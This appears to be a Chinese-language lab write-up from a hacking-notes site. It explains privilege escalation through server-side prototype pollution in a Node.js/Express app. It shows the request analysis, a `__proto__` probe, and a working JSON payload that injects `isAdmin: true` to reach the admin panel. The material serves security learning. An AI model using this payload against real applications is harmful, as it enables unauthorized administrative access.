> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/privilege-escalation-via-server-side-prototype-pollution.md).
# 通过服务器端原型污染实现权限提升
### 通过服务器端原型污染进行权限提升
#### 实验上下文
应用（Node.js + Express） **合并一个用户可控的 JSON 对象** 到服务器端的 JavaScript 对象中， **且未经过滤** 诸如以下危险键： `__proto__`. / 结果：我们可以 **污染 `Object.prototype`** 并注入会被其他对象继承的属性。
在这个实验中，很容易发现，因为 **通过原型链继承的属性会再次出现在 HTTP 响应中**.
### 1）入口点（source）：用于更新地址的 JSON 请求
**请求分析**
在更新用户地址时，应用会在后台发送以下 JSON 请求：
{% code overflow="wrap" %}
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE"
}
```
{% endcode %}
服务器响应包含用户信息，包括敏感字段：
```json
{
"username": "wiener",
"firstname": "Peter",
"lastname": "Wiener",
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"isAdmin": false
}
```
**漏洞识别**
添加一个特殊的 `__proto__` 键到 JSON 请求体中：
```json
"__proto__": {
"foo":"bar"}
```
服务器响应会反映出 `foo` 属性。
```json
"foo":"bar"
}
```
这证实了：
* 服务器 \*\* 直接合并用户对象\*\*
* **全局原型污染（`Object.prototype`）是可能的**
* 继承的属性是可见且可被利用的
**操作：提升权限**
这里有趣的属性是 `isAdmin`，应用用它来判定权限。
随后将该属性注入全局原型：
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE",
"__proto__": {
"isAdmin": "true"
}
}
```
**结果**
* 该 `isAdmin` 该属性现在继承自 `Object.prototype`
* 在授权检查期间，应用将用户视为 \*\* 管理员\*\*
* 访问 `/admin` 面板
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